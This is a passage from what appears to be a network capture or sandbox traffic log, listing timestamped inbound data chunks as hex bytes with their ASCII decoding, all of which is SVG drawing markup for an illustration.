6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 34 2e 38 36 2c 33 32 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: 1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M485.08,39.1a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M484.86,32.62a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-05-31 12:52:02 UTC	3966	IN	Data Raw: 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 35 32 2c 37 30 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 33 2c 36 34 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e Data Ascii: ,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.52,70.62a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.3,64.14a1.61,1.61,0,0,1-.73,2.09,2.
2023-05-31 12:52:02 UTC	3998	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 30 2c 31 30 32 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 39 2e 37 34 2c 39 35 2e 36 36 61 31 2e 36 31 2c 31 2e 36 Data Ascii: ,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M540,102.14a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M539.74,95.66a1.61,1.6
2023-05-31 12:52:02 UTC	4014	IN	Data Raw: 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 36 22 20 64 3d 22 4d 39 30 30 2e 31 36 2c 31 37 34 6c 34 2e 33 34 2d 35 2e 36 33 2c 32 2e 34 31 2d 33 30 2e 32 36 2d 32 33 2e 36 39 2c 31 34 2e 34 35 63 2d 34 2e 39 34 2c 33 2d 39 2e 38 35 2c 36 2e 31 32 2d 31 34 2e 38 34 2c 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 6c 2d 2e 33 39 2c 34 4c 36 31 Data Ascii: 9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94Z"/><path class="cls-16" d="M900.16,174l4.34-5.63,2.41-30.26-23.69,14.45c-4.94,3-9.85,6.12-14.84,9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94l-.39,4L61
2023-05-31 12:52:02 UTC	4030	IN	Data Raw: 2e 34 35 2c 31 2e 39 34 2c 31 2e 39 34 2c 30 2c 30 2c 30 2c 2e 33 37 2d 2e 36 36 41 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 30 2c 35 32 30 2e 33 34 2c 32 32 39 2e 30 35 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 35 32 34 2c 32 32 36 2e 32 32 71 30 2c 2e 32 31 2c 30 2c 2e 34 38 63 30 2c 2e 31 38 2c 30 2c 2e 33 33 2c 30 2c 2e 34 35 68 30 61 31 2e 36 36 2c 31 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 39 2d 2e 34 32 2c 32 2e 30 36 2c 32 2e 30 36 2c 30 2c 30 2c 31 2c 2e 34 33 2d 2e 33 35 2c 32 2e 33 32 2c 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 35 33 2d 2e 32 34 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2c 2e 36 2d 2e 30 38 2c 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 31 2c 2e 31 39 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 36 Data Ascii: .45,1.94,1.94,0,0,0,.37-.66A2.5,2.5,0,0,0,520.34,229.05Z"/><path class="cls-2" d="M524,226.22q0,.21,0,.48c0,.18,0,.33,0,.45h0a1.66,1.66,0,0,1,.29-.42,2.06,2.06,0,0,1,.43-.35,2.32,2.32,0,0,1,.53-.24,2.35,2.35,0,0,1,.6-.08,2.15,2.15,0,0,1,1,.19,2,2,0,0,1,.6
2023-05-31 12:52:02 UTC	4046	IN	Data Raw: 79 32 3d 22 33 32 34 2e 32 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 36 22 20 64 3d 22 4d 36 36 39 2e 31 39 2c 33 31 33 2e 33 34 76 32 63 30 2c 31 2e 33 36 2c 33 2e 32 33 2c 32 2e 34 36 2c 37 2e 32 31 2c 32 2e 34 36 73 37 2e 32 31 2d 31 2e 31 2c 37 2e 32 31 2d 32 2e 34 36 76 2d 32 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 36 37 36 2e 34 22 20 63 79 3d 22 33 31 33 2e 33 34 22 20 72 78 3d 22 37 2e 32 31 22 20 72 79 3d 22 32 2e 34 35 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 70 6f 69 6e 74 73 3d 22 36 36 38 2e 31 35 20 33 33 31 2e 34 38 20 36 36 34 2e 37 33 20 33 32 39 2e 31 35 20 36 36 34 2e 39 33 20 33 31 37 2e 37 34 20 36 36 38 2e 34 20 33 31 Data Ascii: y2="324.26"/><path class="cls-76" d="M669.19,313.34v2c0,1.36,3.23,2.46,7.21,2.46s7.21-1.1,7.21-2.46v-2"/><ellipse class="cls-38" cx="676.4" cy="313.34" rx="7.21" ry="2.45"/><polygon class="cls-38" points="668.15 331.48 664.73 329.15 664.93 317.74 668.4 31
2023-05-31 12:52:02 UTC	4062	IN	Data Raw: 20 35 36 38 2e 37 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 32 2e 32 34 22 20 72 79 3d 22 32 2e 38 38 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 31 2e 36 22 20 72 79 3d 22 32 2e 30 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 Data Ascii: 568.75) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="2.24" ry="2.88" transform="translate(45.69 569.88) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="1.6" ry="2.05" transform="translate(45.69 569.88) rotate(
2023-05-31 12:52:02 UTC	4078	IN	Data Raw: 33 34 63 30 2d 2e 30 35 2d 2e 32 38 2d 2e 32 35 2d 2e 33 32 2d 2e 33 61 2e 33 2e 33 2c 30 2c 30 2c 31 2d 2e 30 39 2d 2e 32 33 2e 33 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 33 33 2d 2e 33 33 43 38 31 35 2e 32 36 2c 32 35 30 2e 31 34 2c 38 31 35 2e 33 34 2c 32 35 30 2e 31 38 2c 38 31 35 2e 36 2c 32 35 30 2e 33 39 5a 6d 31 2e 31 37 2e 34 36 61 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 32 33 2e 36 36 63 30 2c 2e 32 31 2d 2e 32 31 2e 32 38 2d 2e 34 32 2e 32 32 73 2d 2e 31 37 2d 2e 30 38 2d 2e 33 33 2d 2e 34 37 6c 2d 2e 31 36 2d 2e 33 37 61 2e 33 35 2e 33 35 2c 30 2c 30 2c 31 2c 30 2d 2e 31 34 63 30 2d 2e 32 34 2e 32 33 2d 2e 32 36 2e 33 36 2d 2e 32 35 53 38 31 36 2e 36 35 2c 32 35 30 2e 35 39 2c 38 31 36 2e 37 37 2c 32 35 30 2e 38 35 5a 6d 2e 34 35 2e 30 Data Ascii: 34c0-.05-.28-.25-.32-.3a.3.3,0,0,1-.09-.23.32.32,0,0,1,.33-.33C815.26,250.14,815.34,250.18,815.6,250.39Zm1.17.46a2.37,2.37,0,0,1,.23.66c0,.21-.21.28-.42.22s-.17-.08-.33-.47l-.16-.37a.35.35,0,0,1,0-.14c0-.24.23-.26.36-.25S816.65,250.59,816.77,250.85Zm.45.0
2023-05-31 12:52:02 UTC	4094	IN	Data Raw: 2c 32 38 34 2e 39 31 5a 22 2f 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 33 22 20 78 3d 22 39 33 30 2e 31 36 22 20 79 3d 22 32 38 35 2e 32 39 22 20 77 69 64 74 68 3d 22 33 2e 37 35 22 20 68 65 69 67 68 74 3d 22 33 2e 31 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 38 36 34 2e 30 36 20 35 37 33 2e 36 37 29 20 72 6f 74 61 74 65 28 2d 31 38 30 29 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 34 22 20 64 3d 22 4d 39 33 33 2e 37 32 2c 32 39 35 2e 38 33 61 33 31 2e 37 31 2c 33 31 2e 37 31 2c 30 2c 30 2c 31 2d 36 2e 32 2e 35 31 2c 33 32 2e 34 33 2c 33 32 2e 34 33 2c 30 2c 30 2c 31 2d 36 2e 32 34 2d 2e 35 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 35 22 20 64 3d 22 4d 39 33 Data Ascii: ,284.91Z"/><rect class="cls-113" x="930.16" y="285.29" width="3.75" height="3.1" transform="translate(1864.06 573.67) rotate(-180)"/><path class="cls-114" d="M933.72,295.83a31.71,31.71,0,0,1-6.2.51,32.43,32.43,0,0,1-6.24-.51"/><path class="cls-115" d="M93
2023-05-31 12:52:02 UTC	4110	IN	Data Raw: 30 2c 30 2c 30 2c 2e 37 36 2e 36 2c 36 2e 35 38 2c 36 2e 35 38 2c 30 2c 30 2c 30 2c 32 2e 33 35 2c 31 2e 30 37 2c 37 2e 32 38 2c 37 2e 32 38 2c 30 2c 30 2c 30 2c 32 2e 33 37 2d 2e 30 39 6c 31 2e 38 37 2d 2e 32 37 61 35 2e 32 34 2c 35 2e 32 34 2c 30 2c 30 2c 30 2c 32 2e 35 38 2d 2e 38 35 41 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 30 2c 39 30 35 2e 35 37 2c 32 35 33 2e 35 32 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 33 34 22 20 64 3d 22 4d 38 39 36 2e 39 32 2c 32 34 36 2e 37 33 61 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 37 34 2d 2e 35 35 63 30 2d 2e 34 32 2e 32 37 2d 2e 37 39 2e 32 32 2d 31 2e 32 32 61 36 2e 34 38 2c 36 2e 34 38 2c 30 2c 30 2c 31 2c 32 2e 33 32 2d 2e 30 35 63 2d 2e 35 38 2e 39 34 2e 33 34 2c 32 2e 31 2c Data Ascii: 0,0,0,.76.6,6.58,6.58,0,0,0,2.35,1.07,7.28,7.28,0,0,0,2.37-.09l1.87-.27a5.24,5.24,0,0,0,2.58-.85A2.91,2.91,0,0,0,905.57,253.52Z"/><path class="cls-134" d="M896.92,246.73a2.36,2.36,0,0,1,.74-.55c0-.42.27-.79.22-1.22a6.48,6.48,0,0,1,2.32-.05c-.58.94.34,2.1,
2023-05-31 12:52:02 UTC	4126	IN	Data Raw: 36 37 2c 34 2e 37 36 2e 36 36 2c 37 2e 32 61 31 30 2e 36 34 2c 31 30 2e 36 34 2c 30 2c 30 2c 31 2d 32 2d 2e 31 38 2c 39 2c 39 2c 30 2c 30 2c 31 2d 31 2e 31 33 2d 2e 33 31 63 2d 2e 32 32 2d 2e 30 35 2d 31 2e 32 36 2d 2e 34 35 2d 31 2e 34 35 2d 2e 33 73 2e 31 38 2e 37 2e 33 32 2e 38 39 63 2e 32 36 2e 33 37 2e 33 34 2e 34 36 2e 32 33 2e 39 61 2e 38 33 2e 38 33 2c 30 2c 30 2c 31 2d 2e 35 31 2e 36 38 63 2d 2e 31 33 2e 30 36 2d 2e 38 36 2e 32 32 2d 31 2c 2e 31 33 2c 31 2e 32 34 2c 31 2e 31 39 2c 33 2e 32 36 2c 31 2c 34 2e 38 36 2c 31 2e 32 6c 32 2e 34 33 2e 32 34 63 2e 36 2e 30 36 2c 31 2e 31 37 2e 31 33 2c 31 2e 34 35 2d 2e 35 34 61 33 2e 38 37 2c 33 2e 38 37 2c 30 2c 30 2c 30 2c 2e 31 32 2d 31 2e 33 31 63 30 2d 31 2d 2e 31 36 2d 32 2d 2e 32 2d 33 43 38 32 37 Data Ascii: 67,4.76.66,7.2a10.64,10.64,0,0,1-2-.18,9,9,0,0,1-1.13-.31c-.22-.05-1.26-.45-1.45-.3s.18.7.32.89c.26.37.34.46.23.9a.83.83,0,0,1-.51.68c-.13.06-.86.22-1,.13,1.24,1.19,3.26,1,4.86,1.2l2.43.24c.6.06,1.17.13,1.45-.54a3.87,3.87,0,0,0,.12-1.31c0-1-.16-2-.2-3C827
2023-05-31 12:52:02 UTC	4142	IN	Data Raw: 2d 33 2d 31 33 2e 35 2d 33 6c 2d 33 30 2e 36 39 2d 33 2e 35 37 63 2d 31 2e 32 34 2d 2e 30 38 2d 34 2d 34 2d 34 2e 38 33 2d 34 2e 39 61 34 33 2e 30 37 2c 34 33 2e 30 37 2c 30 2c 30 2c 30 2d 34 2e 31 37 2d 33 2e 39 35 63 2d 32 2e 30 36 2d 31 2e 37 36 2d 33 2e 39 34 2d 33 2e 38 2d 35 2e 38 39 2d 35 2e 36 38 6c 2d 31 30 2d 39 2e 36 34 63 2d 36 2e 33 36 2d 31 2e 35 36 2d 31 32 2e 37 36 2d 33 2d 31 39 2e 31 32 2d 34 2e 35 36 2d 34 2e 33 35 2d 31 2e 30 38 2d 38 2e 37 34 2d 36 2e 31 33 2d 31 32 2e 38 36 2d 37 2e 38 31 2d 31 2e 32 33 2d 35 2e 31 34 2d 31 2e 35 38 2d 39 2d 33 2e 39 35 2d 31 37 2e 34 38 2d 2e 30 36 2d 2e 32 32 2c 31 2e 32 32 2d 39 2c 31 2e 36 38 2d 39 2c 31 32 2e 30 39 2e 31 34 2c 32 31 2c 2e 35 36 2c 33 33 2c 2e 36 35 2c 32 33 2c 2e 31 38 2c 34 35 Data Ascii: -3-13.5-3l-30.69-3.57c-1.24-.08-4-4-4.83-4.9a43.07,43.07,0,0,0-4.17-3.95c-2.06-1.76-3.94-3.8-5.89-5.68l-10-9.64c-6.36-1.56-12.76-3-19.12-4.56-4.35-1.08-8.74-6.13-12.86-7.81-1.23-5.14-1.58-9-3.95-17.48-.06-.22,1.22-9,1.68-9,12.09.14,21,.56,33,.65,23,.18,45
2023-05-31 12:52:02 UTC	4158	IN	Data Raw: 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 37 20 35 36 33 2e 36 34 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 34 30 2e 36 39 22 20 63 79 3d 22 32 31 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 35 22 20 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 36 2e 38 36 20 35 36 33 2e 39 39 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 33 39 2e 30 38 22 20 63 79 3d 22 32 31 34 2e 30 35 22 20 72 78 3d 22 30 2e 31 35 22 20 Data Ascii: ry="0.19" transform="translate(47 563.64) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="840.69" cy="214.09" rx="0.15" ry="0.19" transform="translate(46.86 563.99) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="839.08" cy="214.05" rx="0.15"
2023-05-31 12:52:02 UTC	4174	IN	Data Raw: 63 79 3d 22 32 33 33 2e 36 37 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 37 38 20 35 35 30 2e 37 36 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 32 2e 39 38 22 20 63 79 3d 22 32 33 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 36 33 20 35 35 31 2e 31 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 33 2e 34 Data Ascii: cy="233.67" rx="0.17" ry="0.22" transform="translate(28.78 550.76) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="812.98" cy="234.09" rx="0.17" ry="0.22" transform="translate(28.63 551.15) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="813.4
2023-05-31 12:52:02 UTC	4190	IN	Data Raw: 73 20 31 20 6e 6f 72 6d 61 6c 20 6e 6f 6e 65 20 72 75 6e 6e 69 6e 67 3b 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 20 73 76 67 2d 61 6e 69 6d 22 20 64 3d 22 4d 38 30 38 2e 38 35 2c 32 38 31 2e 37 37 61 31 2e 38 35 2c 31 2e 38 35 2c 30 2c 30 2c 31 2c 2e 31 31 2d 2e 33 31 63 2d 2e 33 31 2e 36 37 2d 31 2c 31 2d 31 2e 30 39 2c 31 2e 37 38 61 31 31 2c 31 31 2c 30 2c 30 2c 30 2d 2e 31 35 2c 31 2e 31 35 63 30 2c 2e 34 34 2e 32 2e 36 32 2e 33 31 2c 31 2c 2e 32 32 2e 37 34 2d 2e 31 37 2c 31 2e 37 35 2d 31 2e 30 37 2c 31 2e 34 35 2d 2e 36 39 2d 2e 32 33 2d 31 2e 31 2d 31 2d 31 2e 36 2d 31 2e 34 35 61 31 31 2e 37 36 2c 31 31 2e 37 36 2c 30 2c 30 2c 31 2d 31 2e 38 39 2d 31 2e 37 37 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c Data Ascii: s 1 normal none running;"></path><path class="cls-38 svg-anim" d="M808.85,281.77a1.85,1.85,0,0,1,.11-.31c-.31.67-1,1-1.09,1.78a11,11,0,0,0-.15,1.15c0,.44.2.62.31,1,.22.74-.17,1.75-1.07,1.45-.69-.23-1.1-1-1.6-1.45a11.76,11.76,0,0,1-1.89-1.77,2.39,2.39,0,0,
2023-05-31 12:52:02 UTC	4206	IN	Data Raw: 35 2e 36 36 20 35 39 38 2e 34 35 20 32 32 31 2e 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 39 2e 35 34 20 32 31 31 2e 31 32 20 35 39 32 2e 36 35 20 32 31 36 2e 32 33 20 35 39 39 2e 32 20 32 32 30 2e 32 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 33 35 2e 32 32 20 35 39 30 2e 35 20 32 33 39 2e 35 34 20 35 39 37 2e 38 31 20 32 33 36 2e 33 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 33 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 35 30 2e 33 31 20 35 39 30 2e 35 20 32 Data Ascii: 5.66 598.45 221.7"></polyline><polyline class="cls-52" points="579.54 211.12 592.65 216.23 599.2 220.2"></polyline><polyline class="cls-52" points="577.82 235.22 590.5 239.54 597.81 236.37"></polyline><polyline class="cls-53" points="577.82 250.31 590.5 2
2023-05-31 12:52:02 UTC	4222	IN	Data Raw: 61 6e 69 6d 22 20 64 3d 22 4d 36 30 39 2e 33 33 2c 33 30 34 2e 38 39 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 30 2c 2e 32 2d 2e 32 38 63 2d 2e 34 2e 36 37 2d 2e 33 31 2c 31 2e 34 38 2d 2e 39 2c 32 61 39 2e 39 34 2c 39 2e 39 34 2c 30 2c 30 2c 31 2d 2e 39 32 2e 38 63 2d 2e 33 38 2e 32 37 2d 2e 36 35 2e 32 2d 31 2c 2e 33 33 2d 2e 37 38 2e 32 35 2d 31 2e 34 33 2c 31 2e 31 37 2d 2e 36 34 2c 31 2e 37 38 61 35 2e 31 38 2c 35 2e 31 38 2c 30 2c 30 2c 30 2c 32 2e 32 31 2e 35 34 2c 31 32 2e 31 31 2c 31 32 2e 31 31 2c 30 2c 30 2c 30 2c 32 2e 36 35 2e 36 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 30 2c 31 2e 34 35 2d 2e 35 35 63 2e 34 35 2d 2e 34 38 2e 32 38 2d 31 2e 35 37 2e 32 34 2d 32 2e 31 36 2d 2e 30 36 2d 31 2d 2e 34 33 2d 31 2e 39 32 2d 2e 34 31 2d 32 2e Data Ascii: anim" d="M609.33,304.89a1.62,1.62,0,0,0,.2-.28c-.4.67-.31,1.48-.9,2a9.94,9.94,0,0,1-.92.8c-.38.27-.65.2-1,.33-.78.25-1.43,1.17-.64,1.78a5.18,5.18,0,0,0,2.21.54,12.11,12.11,0,0,0,2.65.6,2.52,2.52,0,0,0,1.45-.55c.45-.48.28-1.57.24-2.16-.06-1-.43-1.92-.41-2.
2023-05-31 12:52:03 UTC	4270	IN	Data Raw: 30 2c 30 2d 2e 35 32 2d 2e 30 36 2c 31 2e 35 34 2c 31 2e 35 34 2c 30 2c 30 2c 30 2d 2e 37 2e 31 35 2c 31 2e 34 33 2c 31 2e 34 33 2c 30 2c 30 2c 30 2d 2e 35 2e 34 31 2c 31 2e 37 37 2c 31 2e 37 37 2c 30 2c 30 2c 30 2d 2e 33 2e 35 38 2c 32 2e 36 31 2c 32 2e 36 31 2c 30 2c 30 2c 30 2d 2e 30 39 2e 36 39 76 33 68 2d 31 2e 31 33 56 37 31 2e 31 36 43 38 39 34 2e 34 39 2c 37 31 2c 38 39 34 2e 34 39 2c 37 30 2e 38 31 2c 38 39 34 2e 34 38 2c 37 30 2e 35 37 5a 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 39 30 30 2e 31 35 2c 36 37 2e 38 38 61 2e 36 37 2e 36 37 2c 30 2c 30 2c 31 2d 2e 32 32 2e 35 32 2e 37 32 2e 37 32 2c 30 2c 30 2c 31 2d 2e 35 33 2e 32 2e 36 38 2e 36 38 2c 30 2c 30 2c 31 2d 2e 35 32 2d 2e 32 31 2e Data Ascii: 0,0-.52-.06,1.54,1.54,0,0,0-.7.15,1.43,1.43,0,0,0-.5.41,1.77,1.77,0,0,0-.3.58,2.61,2.61,0,0,0-.09.69v3h-1.13V71.16C894.49,71,894.49,70.81,894.48,70.57Z"></path><path class="cls-2" d="M900.15,67.88a.67.67,0,0,1-.22.52.72.72,0,0,1-.53.2.68.68,0,0,1-.52-.21.
2023-05-31 12:52:03 UTC	4286	IN	Data Raw: 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 30 30 2e 31 31 2c 32 30 31 2e 37 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 41 32 2e 35 33 2c 32 2e 35 33 2c 30 2c 30 2c 31 2c 36 39 36 2c 32 30 33 61 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: 51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M700.11,201.72a1.73,1.73,0,0,1-.78,2.24A2.53,2.53,0,0,1,696,203a2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path 